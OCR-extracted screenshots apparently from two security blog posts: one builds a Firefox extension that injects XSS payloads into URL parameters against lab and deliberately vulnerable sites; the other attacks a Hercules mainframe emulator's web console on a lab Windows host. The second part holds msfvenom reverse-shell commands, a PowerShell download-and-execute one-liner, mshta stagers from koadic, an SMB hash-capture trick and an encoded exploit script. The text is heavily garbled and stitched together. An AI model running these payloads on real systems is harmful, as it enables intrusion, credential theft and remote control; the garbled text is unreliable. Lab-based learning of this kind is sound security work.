URL  : http://localhost/il. html console. Log( ¢
console. 1 nfo.title)
o 2 console. 1 R + tabInfo.url);[l
ititle : Toolbox - Extension / YT Browse time
URL : about:devtools-toolbox?type=extension&id=b57f112bff6b1117b64b58096cBTd3 console.error(error);
o P 7

title : asd
URL  : http://localhost/in2. php7name=t27asdt (123)53C/scripti3Fasubnit=submit [N N e Rt Rl R Pt g R LT g
o i 2

ititle : Toelbox - Extension / YT Browse time
URL : about:devtools-toolbox?type=extension&id=b57f112bff6b1117b64b58096cATd3 g

Looks good.

Now we need to ‘parse’ each link to get every parameter, rewrite it’s value to ,,our example payload”
and resend it in the end to receive the response and decide if this ‘request’/URL is vulnerable to XYZ-

attack or not. Let’s try to do that below.

We'll start here:

/ Debugging - Runtime bl (3 Toolbox - Extension /YT % [ELGEREI X | asd

c o (@ about:devtools-toolbox?type=extension&id=b57f112bfféb1117b64b50096c07d3ae6

@& This Firefox (75.0) *‘ ¥T Browse time moz-extension://a23f6bf7-3077-4b11-9d59-365585a517b4/_generated_bac
¥ O inspector

Webconsole context has changed
Tab ID ¢ 7
Tab title : asd

console O Debugger T Network {3} styleEditor () Performance [ Storage y Accessibility

Tab hostname : localhost
Tab URL : http://localhost/in2. php?name=%27asdt (123)%30/script%3E&submit=submit

c@ubuntu20: ~/src/bonus01

name;




So far, so good. Let’s modify our code to catch (as an example ;]) the parameter called name:

yeloper.mozilla.org/en-US/do hParams/forEach

I SSaiCiiralams - LULnaG AL Luacn) -

Parameters

callback
A callback function that is executed against each parameter
provided as its parameter.

// Create a test URLSearchParams object

var searchParams = new URLSearchParams("keyl=va
// Log the values

searchParams . forEach(function(value, key

console. log(value, key

The resultis

valuel keyl
value2 key2

8% o O Y YihnD ® 0O :

() Terminal gru2g 01:34
Toolbox - Extension / YT Browse time - Moz
/ Debugging - Runtime / ¢ X E=RCLGIIEISIELEEN VARSI Index of /
c @ (@ about:devtools-toolbox?type=extension&id=b57f112bfféb1117b64b5

@ This Firefox (75.0) g YTBrowse time moz-extension://a23f6bf7-3077-4b11-9d55-365585a517b4/ |

® © inspector console [ Debugger T Network {} StyleEditor () Performance [ storage Fr Ac

o)
Webconsole context has changed
@ Error: Can't find profile directory.
Tab ID 8
Tab title + asd
Tab hostname : localhost
Tab URL : http://localhost/in2. php7name=227asdt(123)%3C/scripts3E&submi t=submit

‘asdt(123)</script>

c@ubuntu20: ~/src/bonus01

(tabInf

Ok, looks good! Let’s continue below:

kloper.mozilla.org/en-US/docs/Web/API/URLSearchParams/forE
I SeaL uEaL@ms - LULEaTL \LasiuaTny ;
Parameters
callback

A callback function that is executed against each parameter
provided as its parameter

Void

Examples

// Create a test URLSearchParams object
var searchParams = new URLSearchParams("keyl=va

// Log the values

searchParams. forEach(function(value, key

console.log(value, key

The result is:

valuel keyl
value2 key2

O 0 +IiNnD ©® 0O =

(] Terminal ~ gru28 01:39
Toolbox - Extension / YT Browse time - Mozil
~ Debugging - Runtime /© X [ mREINETISSCNETOWAGES (ndex of /
c @
@ This Firefox (75.0)
® O inspector
o)

Webconsole context has changed

about:devtools-toolbox?type=extension&id=b57F112bff6b1117b64b500

i YT Browse time moz-extension://a23f6bf7-3077-4b11-9d59-365585a517b4/_g

console [ Debugger TN Network {} Style Editor () Performance [E) Storage Tt Acce

Tab ID 8
Tab title  : asd

Tab hostname : localhost

Tab URL : http://localhost/in2. phpPnane=427asdt (123)%3¢/scripts3Eksubmi t=submit
‘asdt(123)</script> name

submit submit

c@ubuntu20: ~/src/bonus01

Good. So far we are able to:

- list the link(s) on page we are visiting

- grab all the parameters we can reach in the mentioned ‘links’

- print the key:value pair (parameter and the value, ex.: ?name=tester).



Ok. Good. But how can we use that functionality ,so far”? ;> Let’s try it here:

# Debugging - Runtime /
C o

B Toolbox - Extension / ¥ [m] Home of Acunetix Art

<« © & testphp.vulnweb.com

_@acunetix FETEIET

Acunetix Web Vulnerability Scanner

It should be good as an initial example ‘target webpage’. So let’s continue below. Checking (Ctrl+R):

home | categories

search art
go

Test site for Acunetix WVS.

Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

artists | disclaimer | yourcart = guestbook @ AJAX Demo

welcome to our page

Tab ID

Tab title

Tab URL

Tab ID

Tab title

Tab URL

guery test

Tab hostname :

Tab hostname :

Tab hostname :

Tab hostname :

Webconsole context has chamged
: B

: search

testphp.vulnweb. com

testphp.vulnweb.com

testphp.vulnweb. com

: http:// testphp. vulnweb.
'="==zhl=sle<br=ma test
]

: search

testphp.vulnweb. com

: http://testphp.vulnweb.

Tab URL 1 http:// testphp.vulnweb. com/search. phpftest=query
query test

Tab ID i

Tab title : search

Tab URL 1 http: /s testphp. vulnweb. com/search. phpPtest=query
query test

Tab ID T B

Tab title : search

com/search. phpPtest=%27%3E%22%3E%3Ch1%3E51e%3Chbr&3Emazs

com/search. php?test=query

Ok, ok... ,,Almost good” (but still ,not enough”, isnt’ it?;)). So, for example — from the browser
perspective we should be able to ‘see’ the response presented on the screen below:




<) > C @

© & testphp.vulnweb.com/search.php?test=">"><h1=sie<br>ma2 E|

Macunet

B4 ocuart

home | categories

search art

asd| go
Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links
Security art

Acunetix Web Vulnerability Scanner
artists | disclaimer yourcart guestbook | AJAX Demo

Warning: mysgl_fetch_array() expects parameter 1 to be resource,
boolean given in /hjivarimwwisearch.php on line 61

Good, but | was

wondering ‘how can we see’ the same ‘response’ from the webextensions , point of

view”? ;) (TL;DR: it should help us to extract some interesting responses — for example those contains
some hints related to XSS/SQLI/etc bugs, right?;))

So:

/ Debugging - Runtime /I X | (3 Toolbox - Extension /YT X @ asd [ pictures

< &

@ © | & testphp.vulnweb.com/listproducts.php?cat="123 B - 1

| ™vacunetix FEEETT

search art

Browse artists
Your cart
Signup

Your profile

AJAX Demo

Links
Security art
PHP scanner
PHP vuln help

home | categories | artists  disclaimer | your cart = guestbook = AJAX Demo

Browse categories | yagpurce, boolean given in /hjfvariwwwilistproducts.php on line 74

Our guestbook

Fractal Explorer
About Us | Privacy Policy | Contact Us

Warning: This is not a real shop. This is an examplg
Itis intended to help you test Acunetix. It also helps
let someone break into your website. You can usef
Look for potential SQL Injections, Cross-site Scrip

Acunetix Web Vulnerability Scanner

Error: You have an error in your SQL syntax; check the manual that
2 carresponds to your MySQL server version for the right syntax to use near
"123' at line 1 Warning: mysqgl_fetch_array() expects parameter 1 to be

c@ubuntu20: ~/src/bonuso1

tname;

Ok, as we can see we need to extract the response after the page is reloaded (with our example-

extension).

As far as | remember from the docs[3] — in webextensions we have something similar to the intercept
in Burp Suite proxy — let’s try to find it and add it to our extension’s code.

Goal? Modify any request to add our super-payload (like, <script>lam3r(was)</here>, etc;)). Here we
go: | created a new project based on this page:



https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

/developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests

« Modifying request headers.

Logging request URLs

Create a new directory called "requests”. In that directory, create a file called "manifest json”
which has the following contents

"description”: "Demonstrating webRequests”,
"manifest_version": 2,
"name": "webReguest-demo",

"version": "1.8",

"permissions":
"webRequest",
"<all_urls>"

"background": {
"scripts": ["background.js"]
Let’ i here:
et’s continue here:
Tg7ET=U S/ 0TS/ MO ZITay AUU=0TTS/ VWWEDTXETTSTOTTS TTETCEPT_TTT TF_TEqUesT 5 ) ) 1~
"description”: "Demonstrating webRequests",

"manifest_version": 2

"name": "webRe 4 [U B
"version": "1.
pEtesiais’ | gru28 11:05
"webRequest' : : ’
"call urls>! Toolbox - Extension / YT Browse time - Mozilla
15 P8l O Toolbox - Extension /YT X EnEERd]
@ = ¢ @ @ about:devtools-toolbox?type=extension&id=a5d97ff15a0044dfcf73ecd73e,
background":
"scripts": | @ This Firefox (75.0) a. YT Browse time moz ion://7fead80 b960-F4c99a87cdf8/_gene|
) ® O inspector onsole [ Debugger ¥ Network {} StyleEditor (D) Performance [ Storage r Accessit

B v
Webconsole context has changed

Next, create a file called Found new URL! Loading : http://testphp.vuloweb.com/search. php?test=query

Found new URL! Loading : Attp://testphp.vuloweb.com/style.css
function logURL( [N T
Found new URL! Loading : http://testphp. vulaweb.con/favicon.ico

console.log("l
» |

browser . webReque

Looks like we started from the beginning... ;S But as we can see we have a little bit more/different
links in the list now too. So cool. We'll use it somehow anyway. ;] Next | found this interesting part of
the article:



| B

reloper.mozilla.org/en-US/docs/Mozilla, ebExtensions/Intercept_HTTP_rec

Modifying request headers

Finally we'll use webRequest to modify request headers. In this example we'll modify the
"User-Agent" header so the browser identifies itself as Opera 12.16, but only when visiting
pages under http://useragentstring.com/".

The "manifest json” can stay the same as in the previous example

Replace "background.js" with code like this:

var targetPage = "http://useragentstring.com/*"

var ua = "Opera/9.8@ (X11; Linux i686; Ubuntu/14.1@) Presto/2.12.388 Version/12.16"

function rewriteUserAgentHeader(e
e.requestHeaders. forEach(function(header
if (header.name.tolowerCase() == "user-agent"

header.value = ua

return {requestHeaders: e.requestHeaders

browser.webRequest. onBeforeSendHeaders.addListener
rewriteUserAgentHeader
urls: [targetPage

"blocking", "requestHeaders"

So it looks like we need to do pretty the same but for the parameters (,,if found any”). Let’s try
below. First of all | decided to check the example code prepared by MDN[12]. So we should be here:

c@ubuntu20: ~/src/bonuso1

return;

let hostname = new URL(tabInfo.url).hostname;
var url = tabInfo.url;

console. los
console. lo
console. los
console. lo
console. loi

console. log(
console. log(

console.log("---------- end

} catch (error) {
console.error(error);

.

4

yrowser. tabs.onActivated.addListener(loglistener);



https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests

Quick results:

/ Debugging - Runtime /' X ESREEEEISEEELHFAGES S Index of / % | [B Test - szukaj.interia.pl

Wa)

c @ about:devtools-toolbox?type=extension&id=435b5e67968485c1ec35e04513F1F96b6670b9c9%4
& This Firefox (75.0) *- ¥T Browse time moz-extension://a53e1949-8¢70-4ae2-8405-0de5a8c34a33/_generated_background_pa
@ 3 inspector Console [ Debugger P Network {} Style Editor () Performance [E) Storage - Accessibility
m v Errors
Webconsole context has changed
Tab 1D 3
Tab title  : Test - szukaj.interia.pl
Tab hostname : szukaj.interia.pl
Tab URL : https://seukaj.interia.pl/interia?q=test
New value = testasdasd
> resend :
B
» |

Next | decided to see if our request is indeed visible in the logs:

ubunktu20: ~fs nus01

Terminal "-":;"-""""""""""""

L e o L — = oo TW TTCTWOTR DOy CaTeoT F T CTTOTTITGTT { et }

Could not map contract ID '@mozilla.org/sharepicker;1l" to CID {1281d357-8417-4926-a694-e64(

Tab title : Testl23 - szukaj.interia.pl
Tab hostname : szukaj.interia.pl

Tab URL 1 https://szukaj.interia.pl/internet/?qg=test123

Tab ID : 4

Tab title : asd
Tab hostname : 192.168.1.18

Tab URL . http://192.168.1.10/in2.php
Tab ID : 4
Tab title : asd

Tab hostname : 192.168.1.18
Tab URL ¢ http://182.168.1.10/1n2. phpfname=sialalad&submit=submit
undefined

name=hehe&submit=submit

nd

Results from Apache’s log file:




Tab ID : 4

Tab title ¢ asd

Tab hostname : 192.168.1.10

Tab URL : http://182.168.1.10/1in2. phpPname=sialala&submit=submit

root@ubuntu20: fhome/c/src/bonus01

buntu20: ~/src/bonus01

# tail -n1 -
16 +6160]
0100101 Firefox,

:57:39 +0100] "GET fin2.php?name=hehe&submit=hehe HTTP/1.1"
1001681 Firefox

Let’s continue here:

let tabInfo = await browser.tabs.get(info.tablId);
if(!tabInfo.url.startsWith( 'http'))
return;

let hostname = new URL(tabInfo.url).hostname;
var url = tabInfo.url;

console
console
console
console.
console.

+ tabInfo.i

+ tabInfo.title);

+ hostname);

+ tabInfo.url);

let params = (new URL(tabInfo.url)).searchParams;

new URLSearch ms);
qet(" .

.forEach(function(value, key) {
st parsedUrl = new URL(tabInfo.ur
.l .

t payload

console. log(searchParams.set(key,
searchParams. toString()

L
onst newlrl + hostname + '/inZ.php?' + searchParams.toString();
t response = fetch(new URL{newUr

1)
console.log("------------ end
background.js" 58L, 1668C written

Checking very first results:



The page at http://192.168.1.10 says:

Ok, looks good. Checking console:

>
0}

O inspector ) Console [ Debugger ‘N MNetwork {3} Style Editor () Performance [ Storage T Accessibility

ilter Outpu mors rmings 5
T Filter O L E Wal Log:

Webconsole context has changed
Tab ID 4

Tab title : asd

Tab hostname : 192.168.1.18

Tab URL 1 http:/r192.168.1.187/1inZ. php Pname=%2 7%3E%22%3F%3Cscripts3Eal ert®281%29%3C%2Fsc ript%3E&submi t=%2 7L IELI2%3E
SICscript¥3Ealerts281%29%30%2Fscript%3E

undefined

undefined

» Response { type: “"basic", url: “http:/r182.168.1.18/1n2. phpPname=%27%3Ee22%3E%3(script%3Falerts281%29%3C%2Fscript 3FAsul]
S22UIERICscripts3IEalert281%29%30%2Fscript%3E”, redirected: false, status: 2808, ok: true, statusText: "OK", headers: Heads
Readable5tream, bodylUsed: false }

» Response { type: “"basic", url: “http:/r182.168.1.18/1n2. phpPname=%27%3Ee22%3E%3(script%3Falerts281%29%3C%2Fscript 3FAsul]
S22UIERICscripts3IEalert281%29%30%2Fscript%3E”, redirected: false, status: 2808, ok: true, statusText: "OK", headers: Heads
Readable5tream, bodylUsed: false }

Not so good, but better than the last time ;) Let’s continue below to see if we grabbed the response:

Webconsole context has changed
Tab ID : 4

Tab title : asd

Tab hostname : 192.166.1.10

Tab URL 1 http://192.168.1.10/in2. php?name=%27%3E%22%3E%3Cscript¥3Falert4281%29%3C42Fsc ripts3E&submi t=%27%3E%22%3H
S3Cscripts3falerts281%29%3C%2Fscript%3E

undefined

------------ end --------meemaano

<html=<head><title>asd</titles</head>

<body=>
<p=Name : '="=<script=alert{l)</script> <br></p=</body=</html=

<html=<head=<title=asd=/title=</head=

<body=
<p=Name : '="s<script=alert(l)</script> <brs</p=</body></html=




Ok —let’s say ,,we have it”. But we need something more. | decided to quickly add something that will
help us to identify (and print) only the parameters ,vulnerable” to our ,attack” (read as: if there is an
echo-back of our payload in the response page):

Webconsole comtext has changed

Tab ID c 4

Tab title : asd

Tab hostmame : 192.168.1.10

Tab URL s htip:/ /192,168, 1. 10/in2. php Pfname=gew&submi t=submit
undefined

------------ end -------eee e

'IYY Found X55 for param: name !!'!!

Py Found X55 for param: submit 'PU!!

b1

If you would like to continue reading about WebExtensions[10] feel free to check also WebGoat to
verify your results ;)

U & https://github.com/WebGoat/WebGoat

The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker
image that has WebGoat and WebWolf running inside.

docker run -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf

WebGoat will be located at: http://127.0.0.1:8080/WebGoat WebWolf will be located at: http://127.0.0.1:9090/WebWolf

Important: Choo|
important for the

Activities (=] Terminal » gruz9 18:22

822

Using docker " root@ubuntu20: ~

Another way to d S /sre; root@ubuntu

-e TZ=Europe/Amsterdam webgoat/goatandwolf
ally

deploy. You can ¢

example of such | Se6ec7f28fb7: Downloading [
Download complete
Download complete

This sets up an n

To not spoil it for you too much — | won’t release the source of this extension. | believe it will help
you to read the documentation[10] and have more fun with your own ‘private research’. ;)

Enjoy!


https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension

Reference
Links and resources | found interesting when | was preparing this article:

1—,"”Random Topics” (Stream 111)

2 — Download Ubuntu

3-MDN

4 - Extensions-Examples

5 — User interface

6 - onClicked

7 - Popups

8 — DevDungeon resources

9 - Wooper

10 — Basic Anatomy

11 — Background scripts

12 — HTTP Request



https://www.youtube.com/channel/UCjS2aGCvsnhExcWRAI8T4Pw
https://ubuntu.com/download
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
https://github.com/mdn/webextensions-examples
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups
https://github.com/DevDungeon
https://code610.blogspot.com/2020/06/wooper-for-wordpress-enumeration.html
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests
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Intro
Last time we had some introduction to the MainFrames[1]. Today we’ll try to extend an

environment described in previous episode and prepare some ‘new’ scenario to learn how to attack
(and protect of course;]) the ,mainframe machine”. To continue this series — we’ll start here:

Environment
Similar to the last case[1] today we’ll use:

- Windows 10 (I used x86)
- Hercules Emulator (version: 3.07[2])

- Kali Linux (2.0 as an our base/jumphost).

111 Spoiler alert: because Windows just love to update each time you are not watching it or working
with it — remember to disable updates at every possible place that is known for you.

,You’ll thank me later.” ;) But TBH — it should save you ‘some time’ (read as: few lost hours wasted
for waiting for pointless updates...)*. So... ;]

If we'll need anything else — I'll note it down below. For now we should be somewhere here:


https://code610.blogspot.com/2020/11/code16-notes-magazine-02.html
https://code610.blogspot.com/2020/12/code16-notes-magazine-03.html
http://www.hercules-390.org/

=

Recycle Bin

Application Tools

Home Share View Manage
S » This PC » Local Disk (C:) » tests v | Search tests
# Hercules 2.07 (32 Bit) - X

7 CQuick access

I Desktop Welcome to the Hercules 3.07 (32 Bit) Setup lled
3 Downloads Wizard
Jindows T == Documents
Handous pi The installer will guide you thraugh the steps required to install Hercules 3.07 [32 Bit] on paur
= Pictures
computer.
@ OneDrive
[ This PC
¥ Network

s Homegroup
WARMIMG: Thisz computer program iz protected by copyright law and interational treaties.

Unautharized duplication or distribution of this program, or any portion of it, may result in severe civil
or criminal penalties, and will be prosecuted to the maximum extent possible under the law.

Cancel < Back

*(yep, screen above was created when | already reinstalled Windows10 VM with disabled network adapter; after reboot, it
asked for a 40minutes updates... | decided it will be faster to reinstall it from the beginning ;S Anyway... ;])



Currently
For now (after we are ,,sure” that we disabled every possible ‘automatic updates’ ;)) we can
continue from this stage:

- we already have an access to the , client’s internal environment” (internal pentest or some
similar project, you know ;])

- we found a mainframe box.

Ok. Let’s see what we’ve done so far[1]. Last time — let’s say — we were here:

Codel6 - Notes.Magazin... X

the current settings (read as: default installation) we should see the results similar to the one
esented one the screen below:

deed - verismart. ;] Let’s see what we can do about it:

4l 4 |99/116 L ERENEEEE 100%

Today we’'ll start from this point. Currently we should be somewhere here:

§ c@kali: ~/pwn - O X

1

lapsed (2 total ports)

ducation N


https://code610.blogspot.com/2020/12/code16-notes-magazine-03.html

First results are presented below:

Found</ < Al ><H1>484 File Not Fou <P>No such file or directory<

TITLE></HEAD><BODY><H1>40 d R <P>You must specify a GET o

MT Standard Time

1" frame:

1" fram

u know the i ion, submit the following fi rints at http.

]
]
]
]

ting your modv not try the command

/mainframe
/mainframe c_J \ Mainf
ell,
ell, TCP Inline

Ok. So far, we can see that there is only 1 ‘exploit’ (for the ftp) and few ‘payloads’ we can use (as far
as | think: when we already received a shell on remote target host). ,,Not much” —so in our ‘example
scenario’ (where we have also an access to HTTP server) we can try this path:

Mainframe IP Address:  [152.168.1.10]

Port number: [3270 | Ossutts  [JTna2
[ Verify Server certificate
LU name:
Terminal size: O24x80 (@ 3280
O 43x80 O 27x132
Auto Login (optional)
User:
Password :

[[] Enable Auto Login

(Yep, no password... so) after a while we should be here:



File  Edit

]

View Tools  Help
3 | ® Clear Erase PA1 PA2 PA3 EraseF ()
3.07
DESKTOP-00700RN
Windows_NT-6 2
i686
UP

0

001F
0004

So far, so good. Next step — open the browser, we should be here:

Now, like | said before

c @ @ & 192.168.1.10

Hercules System Log

aneous
E
1 Info

guration

lers

Command: help

[1] — feel free to read the fantastic manual(s) ;) Check it out:

Hercules System Log

SCHTASKS Schedules commands and programs to run on a computer.

SHIFT Shifts the position of replaceable parameters in batch files.

SHUTDOWN Allows proper local or remote shutdown of machine.

SORT Sorts input.

START Starts a separate window to run a specified program or command.

SUBST Associates a path with a drive letter.

SYSTEMINFO Displays machine specific properties and configuration.

TASKLIST Displays all currently running tasks including services.

TASKRILL Eill or stop a running process or application.

TIME Displays or sets the system time.

TITLE Sets the window title for a CMD.EXE session.

TREE Graphically displays the directory structure of a drive or
path.

TYPE Displays the contents of a text file.

VER Displays the Windows version.

VERIFY Tells Windows whether to verify that your files are written
correctly to a disk.

VOL Displays a disk wolume label and serial number.

XCOPY Copies files and directory trees.

WMIC Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.

Command: |5h help || Send: |



https://code610.blogspot.com/2020/11/code16-notes-magazine-02.html

Well, correct me if I’'m wrong but: there is a Windows-based-box and there is a(s far as | can see the)
WMIC command ;> How can we connect both of those hints...? ;] Well, let’s try this one:

VER Displays the Windows wversion.

VERIFY Tells Windows whether to verify that yvour files are written
correctly to a disk.

VOL Displays a disk wvolume label and serial number.

XCOPY Copies files and directory trees.

WMIC Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.

sh WMIC
Command: |sh wmic computersystem get Name,Domain,Username Send
Response:
KCOPY Coplies filles and directory tTrees.
WMIC Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.

sh WMIC
| sh wmic computersystem get Name,Domain,Username
Domain Name UserName
workGrovr  DEskTOP-00700KN  DESK|| <
Command: ‘ Send

Ok, cool. Let’s try something else:

| started responder to check if I'll be able to get some hashes from this target box. Checking:

Command: |sh wmic process call create "iexplore \1192.168.1.10\asd" | Send

Output(s):



sh wmic process call create "iexplore “4\192.168.1.10%asd"
Invalid format.

Hint: <paramlist> = <param> [, <paramlist>].

sh wmic os get /format:"smb://1%92.168.1.10/asd"

Invalid XSL format (or) file name.

Command: |

Send

Ok, let’s try this:

C:\Windows\System32\RuntimeBroksr.exe -Embedding

C:\Windows\system32\svchost.exe -k UnistackSvcGroup

\22\C:\Windows\system32\conhost.exe 0Oxd

conspawn wmic process list
C:\Windows\system32\cmd.exe /c wmic process list
wmic process list

"C:\Program Files\Herculesh\Hercules 3.07 (32 Bit)‘\hercules.exe"

"C:\Windows\SystemBRppsiShellExperienceHost cwbnlhZtxyewy\ShellExperienceHost.exe" -Se
"C:\Windows\SystemApps\Microsoft.Windows.Cortana cwbSnlhZtxyewy\SearchUI.exe" -SsrverN

Command: |sh wmic process lis{

| Send

Looks good. ;] So | decided to give restart responder and use another command (net help). Now we

should be here:

c ® U 4 192.168.1.10:8081

@ root@kali: ~

| Log

sihost.exs
roi taskhostw.4d
EIng C:\Windows
C:\Windows
LS "C:\Windowd
"C:\Windowy
laneous C:\Windows
"C:\Progra
A 22\C: \Wing
conspawn
C:\Windows

=]
Info

curation

sh net use \\192.168.111.128\qwe
System error 1223 has occurred.

ers The operation was canceled by the user.

Command: |sh net use \\192.168.111.128\qwe

| Send

Well, well. It looks like we have a user’s hash. Next step? We can continue with cracking hash (for

example using hashcat):




at -m
hashcat (v5. starting. ..

CL Platform

3 allocat

rotates

Running
2tNTLM

But in case we still have an access to ‘RCE’ via webshell as well as we can use Mocha TN320 terminal
(without the password) | decided to skip the part related to cracking password/hash and jump
directly here:

" root@kali: /nome/c/pwn

i -f vba-exe > vba.file

th CRLF, LF line terminat

@ root@kali: /home/c/pwn
: i#

# 1s

vba.file

Now let’s try to grab the file using our web page. To check how can | do it | used few oneliners, for
example this one:



ing HTTP on .0 @ ...
168.111.1 - - [ 08:55:26] "GET /vba.file HTTP/1.1" 200 -

=] Script Error

@3 /An error has occurred in the script on this page.

Line: 1

Char: 1

Error:  Not able to bind to the source.
Code: 0

URL:

Do you want to continue running scripts on this page?

=lw)

Hm... Let’s try harder ;) After a while | decided to recreate payload using msfvenom again but this
time | decided to save the response as vba-psh:

root@kali: fhome/c/pwn — Oa *
L

fvenom -a x86 --platform windows -p wind
ata_ga nai -f vba-psh > vb sh.file

of vba-psh file: 6
# file
vba-psh.file: CII text, with CRLF, LF line terminators
- # I

For now we should be here:

‘@ root@kali: fhome/c/pwn

Sub n
Dim 3

Let’s try to download the file and run it once again:




ver 8080

/vba-psh_|

ary - 344 post
- 18 nops

Hm. Looks like | did not prepare a valid parser for the payload | prepared ;S | decided to go pack
directly to PS1-based payload (so | go back to msfvenom ;]). Here we go again:

root@kali: /home/c/pwn — O X
P

# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.11}s
1.128 LPﬂHT 443 -e x86/shikata_ga_nai -f psh > psh.psl ; file psh.ps1l

Checking our oneliner to grab and run the file from our Kali box:

Better now, but meterpreter died — so we need to try again. Checking:



Metasploit

SimpleHTTPServer 30680

:17] "GET /psh.psl H

- |

Recycle Bin

# C\Program Files\Hercules\Hercules 3.07 (32 Bit)\hercules.exe

runnin
comple

Handler failed
Handler failed

loit failed
ploi

No active

msfS expl

>ending

So it looks much better with this oneliner:

powershell.exe -executionpolicy bypass -w hidden "iex(New-Object
System.Net.WebClient).DownloadString('http://kali:8080/psh.ps1');psh.ps1"

Now we are... (at this moment ,,Meterpreter session... Died” again ;S) here: at this stage
(meterpreter died multipie times) | decided to focus again on wmic command available in Hercules
Web Server and that’s how | found tool called koadic[3]. Let’s start here:

https://github.com/zerosum0x0/koadic
Koadic

Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools
such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using
Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of
Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.

It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure
communications over SSL and TLS (depending on what the victim OS has enabled).

So far, so good. Let’s install it, according to the README file we should be somewhere here:


https://github.com/zerosum0x0/koadic

‘@ root@kali: ~/tools/koadic
# git clone https://github.com/

optional arguments:
-h, --help show this help n
--autorun AUTORUN a file containir

Let’s try it:

‘@ root@kali: ~/tools/koadic

Intellect

Version:
Stagers:
Implants:

koadic:

tur £+
clear the

main information

Looks pretty similar to the MSF console, isn’t it? ;] Let’s continue here:



koadic: run

[+] Spawned a stager at http://192.168.111.128:9
[>] mshta http://192.168.111.128: /byUAB

Let’s use mshta to run it from our ‘webshell’:

Hint: <paramlist> = <param> [, <paramlist>].
sh mshta http://192.168.111.128:9955/byURE

Command: |sh mshta http://192.168.111.128:9999/byUA6 Send

Updates on Kali — in kodiac’s console:

run
: d
[»] mshta http:, ;
[+] Zombie ©: S connection (1 1.1) o a a
[+] Zombie @: D 0P BOKN® DESKTO 10 Education N
koadic:

cmdshell

ust provide a zombie number as an argument.

Zombie #help not found.
koadic:
Pr !

r “LIST"

97 (32 Bit) & netstat -ant | fin
LISTENING InHost

LISTENING InHo

LISTENING InHo

LISTENING InHos

So far, so good. We achieved a stable reverse shell so we can move forward... ;]

(Windows10 — why not to love it? ;]

Undoing changes made to your computer...

...remember | told you about the updates?;))



Back to the future
Quick overview for last steps:

Forward | |

Drop

/ Request to http://192.168.1.10:8081

| Interceptis on

_[mrPalams T Headers I Hex ]

Action

Host: 192.168.1.10:8081

POST /cgi-bintasks/syslog HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv:82.0) Gecko/20100101 Firefox/82.0

|Accept: text/html,

[Content-Length: 113
IConnection: close

ICookie: msgcount=22

lAccept-Language: pl.en-US;q=0.7 en;q=0.3
IAccept-Encoding: gzip, deflate
[Content-Type: appiication/x-www-form-uriencoded

[Origin: http://192.168.1.10:8081

Upgrade-Insecure-Requests: 1

q=0.9,

Referer: http://192.168.1.10:8081/cgi-bin/tasks/sysiog

ige!

p,"".q=0.8

|command=sh+mshta+http%3A%2F%2F 192.168.111.128% 3A9999/

Scan

Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder
Requestin browser

Cirl+l
Ctri+R

jeount=22

Copy asrequests
Copy as requests with session object
Engagement tools

Edited example:

‘ﬁ' root@kali: fhome/c/pwn

cm
if emd =




It's time to check it:

lyEvdXNyL2Jpbi9lbnYgcHI0aG9uCiMgSGVyY3VsZXMgZW11bGFOb31gV2VilFNIcnZlciBQcmVB
dXRolHBvYwojlAojIHJIcXVpecmU6IGtvZGIhYyBmcemFtZXdvemsKlyAyNS4xMidyMDIwIEAgMDAG
MDcKIlyAKCmItcG9ydCByZXF1ZXNOcwpzZXNzaW9ulD0gecmVxdWVzdHMuc2Vzc2lvbigpCgprb2Rp
YWNfcGF0aCA9IHJhd19pbnB1dCgnRnVsbCBwYXRolIHRvIGtvZGlhYyBiaW5hcnkgcGxIYXNIOiIAN
KQpwcmludCAnWytdIGN1cnllbnQga29kaWFjIHBhdGg6ICVzJyAllCgga29kaWFjX3BhdGggKQoK
dGFyZ2V0ID0gcmF3X2lucHVOKCdUYXJnZXQgaG9zdC9JUCBwWbGVhc2U6ICcplCMgZGVmYXVsdCA4
MDgxCgpidXJwMF91cmwgPSAiaHROcDovLylgKyBOYXJnZXQgKyAiOjgwODEVY2dpLWIpbi90YXNr
cy9zeXNsb2ciCml1cnAwX2Nvb2tpZXMgPSB7Im12Z2NvdW50ljogljlylnOKYnVycDBfaGVhZGVy
cyA9IHsiVXNIci1BZ2VudCl6ICINb3ppbGxhLzUuMCA0V2IuZG93cyBOVCAXMC4wOyBXaW42NDsg
eDY0OyBydjo4MidwKSBHZWNrby8yMDEwWMDEWMSBGaXJIZm94LzgyLjAiLCAIQWN;ZXBO0ljogInRlI
